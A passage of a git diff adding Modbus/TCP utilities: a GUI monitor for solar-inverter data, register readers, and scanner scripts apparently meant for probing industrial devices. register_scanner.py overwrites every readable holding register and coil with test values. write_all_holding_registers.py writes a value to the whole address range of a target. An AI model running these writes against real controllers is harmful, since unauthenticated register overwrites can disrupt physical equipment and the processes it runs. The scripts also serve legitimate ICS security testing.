text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', 